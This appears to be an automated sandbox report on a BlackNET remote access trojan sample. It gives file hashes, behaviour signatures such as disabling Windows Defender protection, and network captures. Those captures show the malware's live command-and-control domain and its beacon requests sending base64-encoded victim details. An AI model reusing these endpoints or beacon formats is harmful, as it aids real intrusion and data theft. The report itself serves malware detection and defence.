Analysis

  • max time kernel
    120s
  • max time network
    111s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18/10/2024, 05:38 UTC

General

  • Target

    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe

  • Size

    80KB

  • MD5

    81180abf9d8f8f7c5f6f8b1407873320

  • SHA1

    9c670ed9909099ee4f7ffbbf2d371b0bdd074395

  • SHA256

    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52

  • SHA512

    7659c721b2ff4efe56a24c97db0f091bd9a5d5fa8c0ed016ef8b26bb920ddc362d5fd5d71249f865921fa17aadead6c8b715eb308cf676e8f0fae3fcb1375506

  • SSDEEP

    1536:QPvK/3zvzVJJicVLhilofshmjzJxuOmb54vHTL+lf:Qi5ikFSof7zVmb5uHv+lf

Score
10/10

Malware Config

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Windows security modification 2 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    "C:\Users\Admin\AppData\Local\Temp\8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Windows security modification
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2896

Network

  • flag-us
    DNS
    www.gunnylaumienphi2017.com
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    Remote address:
    8.8.8.8:53
    Request
    www.gunnylaumienphi2017.com
    IN A
    Response
    www.gunnylaumienphi2017.com
    IN A
    103.92.25.194
  • flag-vn
    GET
    https://www.gunnylaumienphi2017.com//connection.php?data=SGFjS2VkXzEzNUU1MjZDfEJOfEJDWFJKRktFfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    Remote address:
    103.92.25.194:443
    Request
    GET //connection.php?data=SGFjS2VkXzEzNUU1MjZDfEJOfEJDWFJKRktFfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg== HTTP/1.1
    Host: www.gunnylaumienphi2017.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Content-Type: text/html
    Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
    Accept-Ranges: bytes
    ETag: "b24c9197c51fdb1:0"
    Server: Microsoft-IIS/8.5
    X-Powered-By: ASP.NET
    Date: Fri, 18 Oct 2024 05:39:14 GMT
    Content-Length: 14578
  • flag-vn
    GET
    https://www.gunnylaumienphi2017.com//receive.php?command=T25saW5l&vicID=SGFjS2VkXzEzNUU1MjZD
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    Remote address:
    103.92.25.194:443
    Request
    GET //receive.php?command=T25saW5l&vicID=SGFjS2VkXzEzNUU1MjZD HTTP/1.1
    Host: www.gunnylaumienphi2017.com
    Response
    HTTP/1.1 200 OK
    Content-Type: text/html
    Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
    Accept-Ranges: bytes
    ETag: "b24c9197c51fdb1:0"
    Server: Microsoft-IIS/8.5
    X-Powered-By: ASP.NET
    Date: Fri, 18 Oct 2024 05:39:14 GMT
    Content-Length: 14578
  • flag-vn
    GET
    https://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkXzEzNUU1MjZD
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    Remote address:
    103.92.25.194:443
    Request
    GET //getCommand.php?id=SGFjS2VkXzEzNUU1MjZD HTTP/1.1
    Host: www.gunnylaumienphi2017.com
    Response
    HTTP/1.1 200 OK
    Content-Type: text/html
    Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
    Accept-Ranges: bytes
    ETag: "b24c9197c51fdb1:0"
    Server: Microsoft-IIS/8.5
    X-Powered-By: ASP.NET
    Date: Fri, 18 Oct 2024 05:39:14 GMT
    Content-Length: 14578
  • 103.92.25.194:443
    https://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkXzEzNUU1MjZD
    tls, http
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    2.0kB
    49.6kB
    26
    39

    HTTP Request

    GET https://www.gunnylaumienphi2017.com//connection.php?data=SGFjS2VkXzEzNUU1MjZDfEJOfEJDWFJKRktFfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==

    HTTP Response

    200

    HTTP Request

    GET https://www.gunnylaumienphi2017.com//receive.php?command=T25saW5l&vicID=SGFjS2VkXzEzNUU1MjZD

    HTTP Response

    200

    HTTP Request

    GET https://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkXzEzNUU1MjZD

    HTTP Response

    200
  • 8.8.8.8:53
    www.gunnylaumienphi2017.com
    dns
    8f47d82956809186c402e5ee92f71215156fe01b9aff03f5aa8963a93fbc8a52N.exe
    73 B
    89 B
    1
    1

    DNS Request

    www.gunnylaumienphi2017.com

    DNS Response

    103.92.25.194

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2200-40-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

    Filesize

    4KB

  • memory/2200-42-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-2-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-3-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-9-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-11-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-12-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-13-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-14-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-15-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-18-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-17-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-20-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-19-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-16-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-23-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-22-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-21-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-24-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-30-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-58-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-59-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-29-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-28-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-27-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-33-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-32-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-41-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-36-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-35-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-37-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-34-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-70-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-72-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-73-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-39-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-1-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-0-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

    Filesize

    4KB

  • memory/2200-31-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-44-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-43-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-45-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-47-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-46-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-49-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-48-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-50-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-53-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-52-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-51-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-57-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-56-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-55-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-54-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-60-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-61-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-69-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-68-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-67-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-66-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-65-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-64-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-63-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-62-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-71-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-78-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-77-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-76-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-75-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2200-74-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2896-38-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2896-25-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2896-26-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2896-8-0x000000001B330000-0x000000001B612000-memory.dmp

    Filesize

    2.9MB

  • memory/2896-10-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

    Filesize

    32KB

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